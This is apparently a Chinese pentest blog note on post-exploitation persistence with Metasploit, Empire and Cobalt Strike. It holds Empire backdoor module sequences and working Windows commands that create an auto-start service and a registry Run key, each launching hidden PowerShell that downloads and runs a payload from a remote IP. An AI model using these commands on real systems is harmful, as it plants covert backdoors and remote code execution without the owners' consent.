三大滲透框架權限維持

  • 2019 年 10 月 4 日
  • 筆記

在滲透測試中,有三個非常經典的滲透測試框架–Metasploit、Empire、Cobalt Strike。

那麼,通過漏洞獲取到目標主機權限後,如何利用滲透框架獲得持久性權限呢?

0x01 MSF權限維持

使用MSF維持權限的前提是先獲得一個meterpreter shell,通過meterpreter shell獲取持久性shell的方法有兩種:

Persistence模塊

通過啟動項啟動(persistence)的方式,在目標機器上以反彈回連。

-U:設置後門在用戶登錄後自啟動。該方式會在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。推薦使用該參數;-X:設置後門在系統啟動後自啟動。該方式會在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。由於權限問題,會導致添加失敗,後門將無法啟動。-S:作為服務自動啟動代理程序(具有SYSTEM權限)

生成的相關文件位置 :

# 後門文件位置:    C:WindowsTemp    C:UsersAdministratorAppDataLocalTemp# 註冊表位置:    HKCUSoftwareMicrosoftWindowsCurrentVersionRun    HKLMSoftwareMicrosoftWindowsCurrentVersionRun

Metsvc 模塊

通過服務(metsvc)啟動的方式,在目標機器啟動後自啟動一個服務,等待連接。

目標主機上開啟了一個Meterpreter服務。

0x02 Empire 權限維持

Empire的persistence模塊提供了18種權限維持的方法,大致可以分為四類,即

elevated(管理權限)

misc(雜項)

powerbreach(內存維持)

userland(用戶權限)

registry*

add_netuser

deaduser

backdoor_lnk

schtasks*

add_sid_history*

eventlog*

registry

wmi*

debugger*

resolver

schtasks

wmi_updater*

disable_machine_acct_change*

get_ssps

install_ssp*

memssp*

skeleton_key*

註冊表

(Empire: agents) > agents(Empire: agents) > interact URL3FZBV(Empire: URL3FZBV) > usemodule persistence/elevated/registry*(Empire: powershell/persistence/elevated/registry) > set Listener test(Empire: powershell/persistence/elevated/registry) > execute

因為是開機啟動,所以會彈個黑框,之後還會彈出註冊表添加的powershell啟動項的框,在註冊表位置如下:

計劃任務

(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*(Empire: powershell/persistence/elevated/schtasks) > set Listener test(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50(Empire: powershell/persistence/elevated/schtasks) > execute

在任務計劃程序庫可以看到-任務為Updater-啟動程序如下可以到為powershell

wmi

(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > set Listener test(Empire: powershell/persistence/elevated/wmi) > run

如何清除後門,最簡單的方法就是使用Autoruns,選擇WMI選項卡,右鍵就可以刪除惡意後門。

0x03 Cobalt Strike權限維持

通過Cobalt Strike拿到一個shell,留後門的方法有很多,下面介紹兩種比較常見的無文件、自啟動後門。

從Cobalt Strike菜單欄,Attacks–Web Drive-by–Scaripted Web Delivery,生成powershell後門。

根據需要可以自己選擇,填寫所需參數默認端口是80(需要注意的就是不要使用重複端口),Type選擇powershell。

點擊Launch後,返回powershell遠程下載執行命令。

服務自啟動後門

sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))""sc description  Name "Just For Test"   //設置服務的描述字符串sc config Name start= auto             //設置這個服務為自動啟動net start Name                         //啟動服務

重啟服務器後,成功返回一個shell。

註冊表自啟動

在windows啟動項註冊表裏面添加一個木馬程序路徑,如:

beacon>getsystembeacon>shell reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))"" /f

賬號註銷後,重新登錄,界面上會出現powershell快速閃過消失,成功返回shell。

註冊表還有哪些鍵值可以設置為自啟動:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon